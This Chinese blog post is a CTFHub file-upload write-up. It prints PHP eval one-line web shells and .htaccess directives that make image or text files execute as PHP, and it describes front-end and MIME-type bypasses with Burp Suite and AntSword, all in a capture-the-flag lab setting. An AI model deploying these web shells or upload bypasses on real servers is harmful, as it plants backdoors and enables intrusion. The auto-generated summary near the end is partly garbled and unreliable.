ctfhub文件上传

一、无验证

需要用到的:

  (1)一句话木马

  (2)中国蚁剑

由题意得改题目不会对我们上传的文件进行检测过滤,所以写一个一句话木马上传

<?php eval($_POST['password']);?>

 

上传成功后,用蚁建和网站进行连接 

进入文件目录,找到flag_545955.php文件,打开得到flag。

二、前端验证

需要用到的:

  (1)一句话木马

  (2)中国蚁剑 

       (3)burpsuite抓包改包

打开源码

function checkfilesuffix()
{
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
        alert("请添加上传文件");
        return false;
    }
    else
    {
        var whitelist=new Array(".jpg",".png",".gif");
        var file_suffix=file.substring(file.lastIndexOf("."));
        if(whitelist.indexOf(file_suffix) == -1)
        {
            alert("该文件不允许上传");
            return false;
        }
    }
}

 它只允许 jpg、png、gif 格式上传

思路:将一句话木马的后缀改为这三种格式的任意一种,然后利用burp suite抓包,将后缀去掉,文件上传成功,再利用蚁剑连接

三、.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

许多服务器还允许开发人员在各个目录中创建特殊的配置文件,以便覆盖或添加一个或多个全局设置。例如,Apache 服务器将从一个名为(.htaccess如果存在)的文件中加载特定于目录的配置。Web 服务器使用这些类型的配置文件,但通常不允许您使用HTTP请求访问它们。但是,您可能偶尔会发现无法阻止您上传自己的恶意配置文件的服务器在,这种情况下.即使您需要的文件扩展名被列入黑名单,您也可以欺骗服务器将任意自定义文件扩展名映射到可执行的MIME 类型。
如果当你上传文件的时候发现你的脚本文件被阻止上传,你可以尝试上传.htaccess文件。在.htaccess文件里面将你的文件扩展名映射到可执行MIME类型。只需要添加一句话:

AddType application/x-httpd-php .html(则html文件也能执行.php文件)
AddType application/x-httpd-php .txt(则普通的文本文档也能执行.php文件)

.htaccess 文件上传漏洞原理:

  一般.htaccess可以用来留后门和针对黑名单绕过

  创建一个txt写入

   AddType application/x-httpd-php .png 

  打开另存为

  保存类型为所有文件

  让 png 解析为 php 

  还可以把png改成其他图片格式~例如jpeg、gif等等...

  另外,还有一个知识~(此题没用到这部分知识)

  可以在.htaccess 加入php解析规则

  类似于把文件名包含1的解析成php

  <FilesMatch "1">

  SetHandler application/x-httpd-php

  </FilesMatch>

  1.png  就会以php执行

当上传php文件,加上后缀都不成功时可以尝试该方法 

题解:新建txt文件,写入以下代码

#将txt文件解析为PHP文件执行
AddType application/x-httpd-php .txt

将该.txt文件更改后缀为.htaccess,上传成功

再新建一个shell.txt,写入PHP代码

<?php 
echo "PHP Loaded";
eval(@$_POST['a']);
?>

上传成功,蚁剑建立连接

四、MIME绕过

MIME多用途互联网邮件扩展类型。它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图像 Image等,后面定义具体的种类。

  常见的MME类型,例如:

  超文本标记语言文本 .html,html text/htm

  普通文本   .txt text/plain

  RTF文本. rtf application/rtf

  GIF图形 .gif image/gif

  JPEG图形 . jpg image/jpeg

MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

题解:新建一个一句话木马的php文件,上传时用burpsuite抓包,将Content-Type为image/jpeg,上传成功,蚁剑连接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
文件上传是一种将文件从客户端上传到服务器的过程。在CTFHUB中,文件上传可以用来绕过安全限制并获取敏感信息。有几种常见的方法可以进行文件上传,包括.htaccess上传、.php木马文件上传和文件名后缀双写绕过。 在.htaccess上传方法中,首先上传.htaccess文件,然后上传的文件都会解析为php文件。可以将一个.php文件改成.png文件上传,并返回上传成功的路径。可以使用蚁剑等工具连接服务器,并获取flag。这种方法可以绕过MIME类型限制。 另一种方法是直接上传.php木马文件,由于没有任何限制,可以直接上传成功,并显示上传文件的相对路径。同样可以使用蚁剑等工具连接服务器,***例如将上传文件的后缀改为phphpp,上传成功后可以返回路径。如果发现文件后缀是hpp,则需要重新更改后缀再次上传。同样可以使用蚁剑等工具连接服务器,并获取flag。这种方法可以绕过后缀限制。 总结来说,CTFHUB文件上传可以***连接服务器,并获得flag。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFHub_文件上传](https://blog.csdn.net/weixin_47443077/article/details/119453421)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值